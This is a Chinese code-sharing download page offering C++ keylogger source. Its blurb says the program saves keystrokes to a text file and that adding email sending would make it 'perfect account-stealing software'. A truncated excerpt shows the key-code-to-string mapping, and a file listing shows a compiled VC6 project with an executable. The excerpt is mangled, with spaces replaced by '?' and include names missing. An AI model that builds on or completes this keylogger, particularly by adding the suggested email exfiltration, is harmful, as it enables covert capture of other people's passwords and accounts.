資源簡介
c語言鍵盤記錄源程序,可以記錄鍵盤輸入的內容,然后保存為txt文件,如果加上郵箱發送就是完美的盜號軟件啦!

代碼片段和文件信息
#include?
#include?
#include?
#include?
#include?
using?namespace?std;
string?GetKey(int?Key)?//?判斷鍵盤按下什么鍵
{
string?KeyString?=?““;
//判斷符號輸入
const?int?KeyPressMask=0x80000000;?//鍵盤掩碼常量
int???iShift=GetKeyState(0x10);?//判斷Shift鍵狀態
bool???IS=(iShift?&?KeyPressMask)==KeyPressMask;?//表示按下Shift鍵
if(Key?>=186?&&?Key?<=222)
{
switch(Key)
{
case?186:
??if(IS)
?KeyString?=?“:“;
??else
?KeyString?=?“;“;
?break;
case?187:
???if(IS)
?????????KeyString?=?“+“;
??????else
?????????KeyString?=?“=“;
?????????break;
????case?188:
???????if(IS)
?????????KeyString?=?“<“;
???????else
?????????KeyString?=?““;
???????break;
?????case?189:
???if(IS)
????KeyString?=?“_“;
???else
????KeyString?=?“-“;
???break;
???case?190:
???if(IS)
????KeyString?=?“>“;
???else
????KeyString?=?“.“;
???break;
???case?191:
???if(IS)
????KeyString?=?“?“;
???else
????KeyString?=?“/“;
???break;
???case?192:
???if(IS)
????KeyString?=?“~“;
???else
????KeyString?=?“‘“;
???break;
???case?219:
???if(IS)
????KeyString?=?“{“;
???else
????KeyString?=?“[“;
???break;
???case?220:
???if(IS)
????KeyString?=?“|“;
???else
????KeyString?=?“\\“;
???break;
???case?221:
???if(IS)
????KeyString?=?“}“;
???else
????KeyString?=?“]“;
???break;
???case?222:
???if(IS)
????KeyString?=?‘“‘;
???else
????KeyString?=?“‘“;
???break;
}
}
//判斷鍵盤的第一行
if?(Key?==?VK_ESCAPE)?//?退出
KeyString?=?“[Esc]“;
else?if?(Key?==?VK_F1)?//?F1至F12
KeyString?=?“[F1]“;
else?if?(Key?==?VK_F2)
KeyString?=?“[F2]“;
else?if?(Key?==?VK_F3)
KeyString?=?“[F3]“;
else?if?(Key?==?VK_F4)
KeyString?=?“[F4]“;
else?if?(Key?==?VK_F5)
KeyString?=?“[F5]“;
else?if?(Key?==?VK_F6)
KeyString?=?“[F6]“;
else?if?(Key?==?VK_F7)
KeyString?=?“[F7]“;
else?if?(Key?==?VK_F8)
KeyString?=?“[F8]“;
else?if?(Key?==?VK_F9)
KeyString?=?“[F9]“;
else?if?(Key?==?VK_F10)
KeyString?=?“[F10]“;
else?if?(Key?==?VK_F11)
KeyString?=?“[F11]“;
else?if?(Key?==?VK_F12)
KeyString?=?“[F12]“;
else?if?(Key?==?VK_SNAPSHOT)?//?打印屏幕
KeyString?=?“[PrScrn]“;
else?if?(Key?==?VK_SCROLL)?//?滾動鎖定
KeyString?=?“[Scroll?Lock]“;
else?if?(Key?==?VK_PAUSE)?//?暫停、中斷
KeyString?=?“[Pause]“;
else?if?(Key?==?VK_CAPITAL)?//?大寫鎖定
KeyString?=?“[Caps?Lock]“;
//-------------------------------------//
//控制鍵
else?if?(Key?==?8)?//<-?回格鍵
KeyString?=?“[Backspace]“;
else?if?(Key?==?VK_RETURN)?//?回車鍵、換行
KeyString?=?“[Enter]\n“;
else?if?(Key?==?VK_SPACE)?//?空格
KeyString?=?“?“;
//上檔鍵:鍵盤記錄的時候,可以不記錄。單獨的Shift是不會有任何字符,
//上檔鍵和別的鍵組合,輸出時有字符輸出
/*
else?if?(Key?==?VK_LSHIFT)?//?左側上檔鍵
KeyString?=?“[Shift]“;
else?if?(Key?==?VK_LSHIFT)?//?右側上檔鍵
KeyString?=?“[SHIFT]“;
*/
/*如果只是對鍵盤輸入的字母進行記錄:可以不讓以下鍵輸出到文件*/
else?if?(Key?==?VK_TAB)?//?制表鍵
KeyString?=?“[Tab]“;
else?if?(Key?==?VK_LCONTROL)?//?左控制鍵
KeyString?=?“[Ctrl]“;
else?i
?屬性????????????大小?????日期????時間???名稱
-----------?---------??----------?-----??----
?????文件???????7553??2013-09-25?22:41??2013x9x25鍵盤記錄01\1.cpp
?????文件???????4422??2013-09-25?23:12??2013x9x25鍵盤記錄01\2013x9x25鍵盤記錄01.dsp
?????文件????????546??2013-09-25?22:24??2013x9x25鍵盤記錄01\2013x9x25鍵盤記錄01.dsw
?????文件??????41984??2013-09-30?16:01??2013x9x25鍵盤記錄01\2013x9x25鍵盤記錄01.ncb
?????文件??????48640??2013-09-30?16:01??2013x9x25鍵盤記錄01\2013x9x25鍵盤記錄01.opt
?????文件????????934??2013-09-26?13:59??2013x9x25鍵盤記錄01\2013x9x25鍵盤記錄01.plg
?????文件?????207309??2013-09-26?13:59??2013x9x25鍵盤記錄01\Debug\1.obj
?????文件?????548993??2013-09-26?13:59??2013x9x25鍵盤記錄01\Debug\2013x9x25鍵盤記錄01.exe
?????文件?????808728??2013-09-26?13:59??2013x9x25鍵盤記錄01\Debug\2013x9x25鍵盤記錄01.ilk
?????文件????5495556??2013-09-25?22:33??2013x9x25鍵盤記錄01\Debug\2013x9x25鍵盤記錄01.pch
?????文件????1123328??2013-09-25?22:41??2013x9x25鍵盤記錄01\Debug\2013x9x25鍵盤記錄01.pdb
?????文件?????181248??2013-09-30?16:00??2013x9x25鍵盤記錄01\Debug\vc60.idb
?????文件?????135168??2013-09-25?22:41??2013x9x25鍵盤記錄01\Debug\vc60.pdb
?????目錄??????????0??2013-09-30?16:02??2013x9x25鍵盤記錄01\Debug
?????目錄??????????0??2013-09-30?16:01??2013x9x25鍵盤記錄01
-----------?---------??----------?-----??----
??????????????8604409????????????????????15
- 上一篇:簡單瀏覽器設計,MFC實現
- 下一篇:經典 MFC 界面組件庫
評論
共有 條評論